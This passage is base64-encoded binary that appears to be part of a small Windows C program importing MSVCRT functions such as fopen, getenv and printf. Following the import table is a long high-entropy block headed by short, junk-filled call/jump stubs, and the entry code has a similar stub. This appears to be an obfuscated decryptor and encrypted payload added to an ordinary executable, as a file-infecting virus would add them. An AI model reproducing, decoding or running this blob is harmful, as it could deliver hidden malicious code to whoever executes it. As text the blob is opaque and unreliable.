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 EEAAzMzMzGgAAAMAaAAAAQDoNwAAAIPECMOQkJCQkJCQkJCQkJCQM8DDkJCQkJCQkJCQkJCQkMOQ kJCQkJCQkJCQkJCQkJD/JYQQQAD/JYgQQACkJwAAAAAAAAAAAAAgKQAAABAAAAAyQAAAAAAAAAAA AAAAAAAAAAAA9igAAD4oAABIKAAAUigAAFwoAABkKAAAbCgAAHYoAACAKAAAiigAAJIoAACcKAAA pigAALAoAAC8KAAAxigAAM4oAADWKAAA3igAAOgoAAA0KAAAAikAABYpAAAsKQAANCkAAEIpAABS KQAAYikAAG4pAACCKQAAkikAAKIpAACwKQAAwikAANYpAAAAAAAAmQJwcmludGYAAEcCZmNsb3Nl AACxAnN0cmNhdAAArQJzcHJpbnRmAFICZm9wZW4AOAJhdG9pAACzAnN0cmNtcAAAsgJzdHJjaHIA AGUCZ2V0ZW52AABEAmV4aXQAAIwCbWFsbG9jAAC5AnN0cmxlbgAAUwJmcHJpbnRmAG8AX19wX19p b2IAANICdW5nZXRjAABjAmdldGMAAFkCZnJlZQAALwJhYm9ydADOAnRvbG93ZXIAcgBfX3BfX3Bj dHlwZQARAV9pc2N0eXBlAABkAF9fcF9fX21iX2N1cl9tYXgAALUCc3RyY3B5AABNU1ZDUlQuZGxs AADPAF9leGl0AEgAX1hjcHRGaWx0ZXIAYwBfX3BfX19pbml0ZW52AFgAX19nZXRtYWluYXJncwAL AV9pbml0dGVybQCBAF9fc2V0dXNlcm1hdGhlcnIAAJoAX2FkanVzdF9mZGl2AABpAF9fcF9fY29t bW9kZQAAbgBfX3BfX2Ztb2RlAAB/AF9fc2V0X2FwcF90eXBlAADGAF9leGNlcHRfaGFuZGxlcjMA ALMAX2NvbnRyb2xmcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAAATBZAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM8XoDAAAAPgjw+kJAAAA MTUbwPjDwfjS6AkAAAATxOkJAAAAMTnWG8fDweAu+RvD6A8AAAADwkjpDAAAADEdPUD2fGzB+F7D /BPD1ugsYQAA88uUbBP3+SRyeJ7ErOjj8VhunWpnd30aFmgO05G/e4tVnmTQTjqUNXJDzjkRsosV EEm19ypYRX6uTyZ/cSvIV/wsx0CnlEhGmrS58k1YOGrIrMljXd79Un8hRMlNoTaWWut0mDuZR7sn m77h+QFsWP77aEqXiVIJIzDoQIWBEjIWDFz8csTnHkp2FtXWzeZPqP6APisNBhRGZumFVoZv2YBe BOsubPOMwt97uscSey51KIpRB8LwKAkH8mGwtR4XTLZprnR7ac/PoYnckczW1LZv4IoK80Oi1qpv xoljVza5LqdnG6VRljIYPaTEkUrmIBAP2V8MRUbehXdwK0Q/SUOVlvmT/L04n+ol9JFluS+gldxf WEaUyzSPqb2boyGD+Vzq+Mvdq6tKpKXIuV7kmVQR47B3XYSewqDjfIVWnnfSCiG4qTO9dTz6haHs IHTZiFpZLp+uebG5LkrbzaZ9kgyzc7f7yoJCfOgB8V3yp5kz4AYOMo+8PV2vYUIMAvi53IPQhjEJ mIciaVX04T6hJJ0ROqpoFb5pVAk6w1Mcxkq8bmd/a+lFkOEcPbAJCbrEPdF+JodQ5PXIyjEKn0jE cmZFQRzc1Fo+ej0ufF69HSxoNZRlgKTCc9YtJNmtKZbVQIkXR9uqVnV3R4ZgCRpiYh4WB3z3HQDz Sg4BW+BcCH58i06qg0J4nFJH4gXB+oJUJ2OkLq/yZHPm8Oe2AuplovNinHgL4197lWBRUgq/GVQd aqSy59O7v6zP0PPVoU/5ebW4MgOESFtfxMRLeTXEVtz4vqnCFqrRdne71YysNTn0VyegyeQvxhKv KLntnCmRe70rPcjzY/WXnaBhRWUFylyJH/oGn4c3GhHH7BSThcC4hhuWvTULeiYEXCwYbgUy699s CmtmAJ+gEzx3putTcjBaHFh4w4HO3lIwJjGe7pXMAuOHDdKnbnffrklRPyZEDDletGxnJLUoQRiN Zu/afSUoUmYQon1D8iN3ugeNiauUAdaIZ4eQe7v61LEl7yjfTkw6wZN9at8TBzSjfrUbntj8R3zH wK7oxguyB6+wpJGtDzanjhsK2iJuhuGroZj6zSuBoGcw2k1+1eb8ltGMqBkAb9LDRBtgrIUDg93o gNeNfvLHJrl6sL1uepkJ3jSJjOTT9Xsvrm0WourOqSvtybLe5SpSyA5U7n7uogWT2S0TCzJZM4vf Q7z1kzLsBmHzOH8lE617Sv1meEM2vXNE2FGVs/3r5oMriSi7wXHkOAMw7QB50hwyiqHNXTo1VCd1 g9QCIaNMrYF7oaEZ17jLb3jQDTpmPBpAR5Qccn1fFHF8NZGFpLhcgDIpgJ79UphbMLEMskWJQqRD jH6bpRWuFHwReemeu2DAagolkr6TBlwYAmZbG6R5lxZqy/9tnufhtPLt8CF9nbm1uqWTC3KXku92 ro1n31KTMq5kSMVHWxLhZpfXw898EZrLQmL7xb/2TQNiF88vKV9m4r+J+yzzqM+UoIWr6SZyG08s BwFXWKXZW5FZ4eChzDuSbODFcZQO3JSVzKYT1eWziRJSIQISSKzFDKCMAkmrjkQEBH38Q38QqgHd q/r4HEEt+rYa4q+hMGGkDcdgmeAcXu4/Ou3mgc8W6EWXUmWt8Z6zklPzd4aoRjQNvkJZqFNHVYvt OlM4REORNIuj3ea3Vkk9SStH6uBT9cbns9E0C2Y9b6VbO5y8Y5mYQ4Ol/m9qMaEBJ6oTm0iswiCU ubfWg179zWxRD+RoD/zSd97xQFBwELjsFlrcppMevm+V6n2gjfSQgIkkLNoCJteVBLTf3xTpcUBL MZ+JezvxxfjuXmF0W804MshgmW40+zhZ9ZHyaYbqq2Z5QKra4lem4Lo0o12/AF7Vr52bV5g4E4GH ipLa7Bcajt37SRvzG4fItqs2v7d9fyq8VXs/eat4OLuCczlWJDo1AbBrPCoKZ7AaVeYrErVfqTC1 VidgI9URmbkUIdFXUZ6l5fFOkT9IFcsjIlXrRfmSV8S5z5yuMRygYqSKXR3aJbAkLQN2upzVYQ4l dstvtDq7f96nz10ZdJQv1YV4UYH+/VOIvlqvCVPDIBGlskV2a4+kbk4Ii/6wIutzyvE58t4JHVvT tufqGcC6jMhGKle7F6zeOXphqQNcnxe0+qFDraXDDDcUUV53Ds/DtHqNK6rnpL8rk8+ju1BCJyOp v8VlmYMINAMXrB8G30OWTtU05t4C0ta3KmOmyh7YkG80dny9uHkibs+MBtbmiHjy09W4qxWBfumF JNB+wb57pQ71yjsMduJdF/1vHkEujlfqPBq0YOWmC+jNc3tqaqCzGcZNVJBTWjE/jYXKB8fpC+YG 0SHVFB4cLsxfD7LF3eq7dsVx2T02k2e+L5E962M05nXui7GeN8wTH+TiPEvPlXOD7YxnhnCL7w/+ XMl/IkJNlzENNFxEaFu4mQvFi56AHZh88VD0EV05e3BldCx+YgV4GDJSLFKlK+iCe9qpj4+ktAQk CL/5qh1pXs3GugxJyAkEKvRVfeJIEziNwNflGxGYhUi3SjGhF8VLAX49SzqFPF5qHKfV1jOnwERK njB/PlxLHBlVIYiPkkZ0iqpUdv2KHU1pTap664JPjpLvJ4MyqbkFMfzx7Bche9TbvbyFdTt6YHPy 6+zjY8oPul+fD9FbHLtDlMTX03d+nalSk9a4VmLWRMU4lj0ECuLvzvGbidSObKA4BHS4sEsjzjCT h8Es+HRJ6BMmE6hvSFxhb9ctOeyr3dkdMv+FdhQNyYvinQ3gHtxsPqGYcLd7g3Enxp27umN1+giU UOvN6Ld3jCcV7kp0u4wELg57Y+za4tYqld679giuEnBPRiXHLjohuQ3P/ENHgl/UUqvMriCsUg4K y8azgOPIfIq3nTkreWhdxceTiNyrmXNJK9FiWlubIVDgi9MwuAiopz/PFGZ8s7F9kJd4ioz8GS5I dkIphvYyMVBRn/CU5xMHeS393npuPDdxZ7lbQeS9iwRPKnoNvnyRYaSWsi+Yb4yZvTbUVdLIUA7E 9QRPw6XZSkmO2hnE+knHmBJtrlBD57nHWfwmKjw1ovGc6aX0hdPBO2J6tmjbVKhryxnZLVKkWyWk 1ocy+A0QH33MF5zpi4ukDSlHlsLNF4O/QG8PJrxwTAj/g47khWSWIMzyusi7Y0C6KMnttuF0DReI cDf/l9z0a8PJ4UhdRG75sVsrsfq4z42CWfViA9Li9gC1RPPHLUwnua5ZPMXB2TgMIcN900fQgTU8 V5yhpUnntSIHxw/q16O2CtFmuPM1TFSTq+n7Zn7ngorC15kW8r6xgi8ryPsvl956wX/Cdqb79xkn NbVgoElyHjcmwfcK3Vvo1A5foGv7lp2UCCYXjtUsXTRB24kNzXkLBRpJx4HzGtRvYqeG+QjFfPnM jfp1OHy3Tq0YcHAR3h997VG451/MtKdWYp0hQkYdCVUHGV507TfbCAtlTuXynUVi9AnCDpAEp9pN AUzYK+e609UOwAB8tcJoA/I/rAF+LNWhApi2SOY1k19yc4tytnAjjNrS8b6k6tBMVyetks6mqenK VDSQVw4S/x0n7y7/7E3VK4VY3zqSpDOzDclKe40NXj4TCPinB1szLENTKlNMc4m/bbuECPsl1xu3 BOg63tstmGFN4BiG9r2E697+amgjSun//Yx42gcciyCAA3Bc1fkW2UEo6utWsCXTfiQmwBf9zU4I hSsT8AvFV00Prct5yYENaSw8MIJn1SuWtUI4683/8Fc8ucnGIQA/oPqipxjIpekJKSjQhyvC1+tW srDfNQrdu/Sap3eAV5eVVwGEkamfEpZTeQdK95cbrgUDCLP9fy0crASUlrG3fhGiDgSbkWyUwVwT YBttqHKlgeDLGfqsSIFra73LfVHzFRmU4yAd0GA1QwjNKJPsSoe64MMbxkrRbWr90dbzzUVQ2iVb fJ4kRus4rS2smqlCjRM/yZ69XqlFpt25SF4XQGQCaSaea9IwlzBxOAM1yipb22wpAnXS2zrKDOEb YBqVUDfDcXqRct7ksuXVzf+CHA4WZ88j7RYdg9TPGbgffxoTjah8s7zDkFXoL/bBNLAB6NjX55p1 yHGKc39xalUyZcoqqCu8yHL6kU4wZZXikQyOxiisyvzM4u60IDiEq5FLXW1YU0bSF6i+gIHdaUFm CmlYIgzQMwYMRk2R0TsTm5ZEnoA0FCFlJ8Mal30l0n0hWWZgYhIRDaAytHLvSx/CpXtS2qu8TcL+ l+BSoaQcjpks29aGClVWGIORSVBzejuMVEq7zMlDPMe4OVgOtd8/RxQEIL79fSrGPxfj+Fse4B0D wnMZuNmXhw/wk+zUTv4dkGzigxUV2wa6OO2OXRCAA0+3a9oTHO0CA+h0WWny8xFZb23OxW2AiBIE ZYiRn8ZFCzLdfxXCGT/lFDcswOfBtCCPxvYpYko3lrxFPYeeym1vAjKq2wF/SSl6WsH1WkZORS9P 8o0HoZa392aYjjoCFdPiERatuRoPLG10B1jnE32Zbp4WYeq+Tt1sB39flXG9Npx6Gygx+/fmwQiM gx9OlWP272whw3t6UXQg4i9wo+SaEuBhbS1Ra3LLmFu2PdCyTONVWKTFzILaKYXM0rM7WSS4gEmA 8yxWRz89DsdPtcCwJrHWOK09Knbh5LS2a1ohtPDhMaeYna67Twz12oeVwLTRkSV+YJfQrQzr3DpJ xvTGCoIZWwW8lp8CeuyZfQTQeJ2yeYU9/hrBTe9xyJtmbH+3YgEXtAj1QyBbjmSnx+hMiNaiwyVP cnL5RmRhk1NsjqqFbKJKf2ZnH77qWK83YEAGNBopi18aGTQs14Wj+UvyYkzR3nkgJMtvqb1B5xi3 MbhmhRC008/AZGj/6Y68MiVaBQDCMwE23OxyN0NBuS+H8yiyNI1+rHfLrabIVuanEaXloKVUd3LT AN/v64dKh/yzt1PcYdIRRVx2HC6CvfTOAXtQlOHCBoiEVoZjz7r/z+a2FnyVsvuoFCTzyDXr84LH f26uWfMSz47uKscCW5MuDgf0MDgmaWiMj9XEPpWb5fk6gExRhGy+KoBS2Jvhri9WeAwEaKTscITz gtn/C0xPsmjDcs00fiLSYDrvMdnXcE5ZNYAfZ7HUt4mvinNtq63n/EmQwUXz7jhBIvNQqKEthjmZ DNKxLjj0MZ1thpPGkmIqR9M0Bq3qUKuPBuxeh2ghS1PPAFTz3KyRBguaewflSppoYUxR/g4ICoeY j2/+t/F++hgN92gAZPMj6SNkItmSe0/VQW5CssAIiY5HT5AOuVCT9wUwEZrjKwuXMdDB+nFRliIh yDAP6FRREg59b2TmvNhh4bhMwUQkJaQD+guhAi0SWpLpLHNEtDl21zFGOx4Bo7+KDDpezJX8G0qV n8zOrwfhQRlswngVAdoWyvFI6ZbXEi16g2uC89J3G3ICgaWTgCpP75zK4GZ5z3QCHhPOXnMMgX74 Gr1SbWAggY4zGCvuG4fOuC4YR2HU6hlVPoY/1l6Jq5hXXPR6xMtz3bT7K0+dsaJBR2ZoSf+ydrCi PqnGGSNcwDAcJAZboxs5V5kQNwJBh0rs9lh02t8LK/X1ACvVhruxeY37JIO/UKL4Upe3ZUmZkkEQ eYjXAeaVqshqh9VLnY/lXROPYZVU9kzHHHKMsV4TpV7zV7I7/e2e9lJ7vIW+d+fyO4pPZngF6VIi fry/lz2FhLV4lZc3A/NggS8QQYzP29wLuo41tS0t6gNGAHqTw204C20+NMdN3tkG+kHtf4EqWPeE GxqRZYsydDWzYfm+vH4suEYwXLy/Vnrypi4nE5o5Oto/05+sgpwUplgBUSNOj+2gMS/C6h+AvZoK XU6gMHJ1/yOjOuHbZB4L6s9xC6BVR/7V5xJTDosoEv6FsnScPJf5KTVa+TgMBv36ckTnBR1sBrmf gbtptdXjRyIcpz4M22er+wVVQWS3XXu8CauwQBDiDyGr1Db7BSB2hWNz9RefSwjGhFjrWke6Xa+l glQHWt2wT8wxmDJYeZqweeuBFMBlJINMot+CO8NKNfqWiMa7t7VXPFqfNa2xbmVamDVSyxuBdGIN YUjZFTWRmhZuapEPT/rXB7WWieHNg4WGR0HPdXvblQ6j8nl0lnMAOoCr55mad27xizp0YVX19lXi DnR7DgPOro700aV3wN3v/EkS37vN3swtwM6Hol1HVh2xOaVCSzzVd/N7zVD0UTwIkNuAt6cv1agz bkrN1ay7tJpju453DjjTEdy6u+cZMqzBkf1uHxDEA1gMqfpNB6LppQSjQz5WVnfSd+Sf6gDxPgP1 lvWSr2WpLm0tC86pDcMpnRq+43GMLtyrxAeibGsC+NX1pttYfi6QjXgyu8V8oPvYMpJ8SRFObBTn 7ps0qdd9lkZkpxnRcDTx65jP3J2JR+lmHlag12L/cnDPERCHMwNVNqKvA1uEV8lAgCrbRKOgh0Ja GwLZ4k2Aw9z6uzAYQHc2DH70F3gOcNggJ2yt0YE2of5TZdNj+vC0Bwrp93XYWB3FxSLb3E0WCEpY NuP19MNdHuMRjY4iyErrPNGtZ1CwQNxkc497OWFyqgW97YklbqoEjQF38tqhdTjV4o4055pTapRW a6VDD3iA3Z7kwHyboul7Bl1W5Q9MUjluPpUNND6UR2bCbmVnDfpF7ypg1mhYJzAPkr9K40bmFfrQ A+hLNggOEcJsptP/rLBfpNVErTjn9yw+jpJUzQNP4sPwoCw1Bc7vMofVCf1KNbAfFNra2RUoHWD0 +qQYY6vWUFsbONJEQl54dBaV84u9AZSdx/LZeS+obnXiFfYV0dF1O6H2NSvnhkfSRTVv+1AnmjD8 kvwbYSrmj6866PZBYx+XDigdj5DPIIrGVqjdzySU1EvbszCLSjEYrDALGgbXKvdQP7pGI6uCX7OC K1wVM+rH+fFI5YMYZHUVJWkfcnLiU8cfLVc3EqrD9pxDFAX/mAy0gBLbX/OsEdsqfWNXScI7qpCF Kwd3V6RuxIWUxjIAQKTzzuaz4IYfgakGY/46gE0FpLAtfalVG/ZJZsSvsfxmzlAe0KvMbd9pRSOb ECZtrvDBEz3sqvF/jgLeW93BsMLcIkgHscraoyA8iFRS9xws/ylJZMneSQNVWvo03ZX2rnLTwBNt 9z6wsP36ccpBL1PdfcYKdyiIs457rnJW0nLP5HKvfxRrx5C1NfSC6XofQhg7wgWC4CfmMloGF83I +B4vDVPrndu4y9EMigpi5VEtIEcxkJEAAZcZLH7rVLICvyM+eMR486tESb3iDeFq1JR2Vyx26Ad5 ciaNjZ4c+mgO7mYgKPji7lR0o9G0K3mXbYHmVtmnr9LD7IgNs0ao+c3MAbbUmDjHOZAtIY3w6r7R cxa2g4eH+Kqf3zcXPSgW4pe3pAfqFVRcgs+in5Xg8CE7Qv68h8OLzN06Sw21uxOjKKR2l0M/A0A6 sBGmpi1InWmoC+4XmYhymRdK2QCnQD/ZCG8nS+NytGIAaRPPqf0lwmNwrzMGnvLjauTS9e3hd/+/ 47a4rU9bqeS3goFt1ZNbr8904GVYOlfb0KYdXgS+sZq6dNvG3HyApyJX6d7Wm8nJBSVFpKuoLtIt VIy1xPxp1amjAzSxiARzsRcamnhfCCuoZtSi8Bw2I6aeBsGpZvpt30dTOxy00viSsHmf0ckkEGwG 6PdxpU6PMKQzQAqy6fyW63NBSACK9Ghjo/D9efzIZjwMiJ3MDiV2Nv1lMdcETf6fu79TH+Ozw1BZ 0eVU26dhKSHL3y0bBSmAJVFJlnzo/BVbMj+5UV2fSxGyJXEgrkqVYgB+kFamRBbmosFqNHaUVFye Mv7UsXiwITm9HOA3Mon3ikeFDocsirmLqc5ax9kuNdAoZMH8958EFbrAmETKZP+Xf9vBZxQAWAm2 cvRf5o4KXIvjRFkIeLnp78MQUAMlbNzvLe77/MG6QHmWxkhmklOsm3zYOPC9erAodCFx6tK0R2fJ NCvkjeYOXd7tXfp6Gt7TBuaR2W3DFr1HwRHSk0OIz6KuCc8k+tQTnZAlhsqD2QI3nt3/o9GklpWx h63sH36mAafts1XbXj/zsklGJntOunPy3KcHqY2Ot4CzC2WOugrdzlsLUajBGCbqe5qjxRT59yor H4MdsAzYWNIjhxfcB7EWL3sdWV6DckbQjH/elNIiciwnzQys3HugPsEjHSC2Hku4Q8HlSCjuVgGs LwcRcla6G+c8cB93d9FzWQyEeUboFoUt4p1pYNoe1Z20TlXiauL398/73PArUFbrsyFSvtxUTdNW VEq4MKwzJrIT0iIDLy8Gu7GDqmfINrkne/EluPRaAj2duzCqJM8UhTsjXHc4OFdfaJYh3KlXEYGU E46kPvyv0ki+klScB7zh8wOCxvmkOUdL2zsvODuSn6cxdQhmdTIBbnz/cQRlWWiCpGkDxODmJkkv x1BzIOGKKUXN/I5RZ7ISjVdEONtEIfNV4h6SY8yKkXvOnY/5yGIyAG75lrF7P+2tPzn3Dn+W46RM kaIyJn7EKx1yIJoJwHeWLaR9NmktELsOTbwzo3nThrEVTkQbOCY/G7/bH//UGXcV/LlD9mP8bw/y mG8F2a8DbsOEY4bSMH9XR7fUho/n3DmfmfB6aJRQdvytXPVZvEgOpaREkBIbSAONiDxocGc8kas1 zGe4IvONN9UfjpyvDNFlG7XG7rnWp85IjwqVUxmtlD+enWZtDcKcnOVSD7MJn8Uir7UjisG/5XM/ HGz4ILf3dJwxfIMNUf/RLl+Y+WM9DK6mJSyZCg5NTyGMllrhscveeyo6XtFFhvQn8NUjyyhd0sEN AenDip0MFL+nd1CIRH41AFytj3u8MyUjhtBD/aDyp7e9bQ7KhRDEZuzUN9xzTFtD1Wd8OtODb2ZY 54fwlToYbY8qgcpOSDAo4GW//gft02HLt53JlDRxI8RKbUhVZx0yX6GNf0OQYQ/KDe2zsTSaEzeN V/VeXLkZU8PlZyVHTq052UgrpkjIf3he1iCAicUkK/gvjsg0oitPEZ6YOxHqVZ5DljagsHtkcYeP 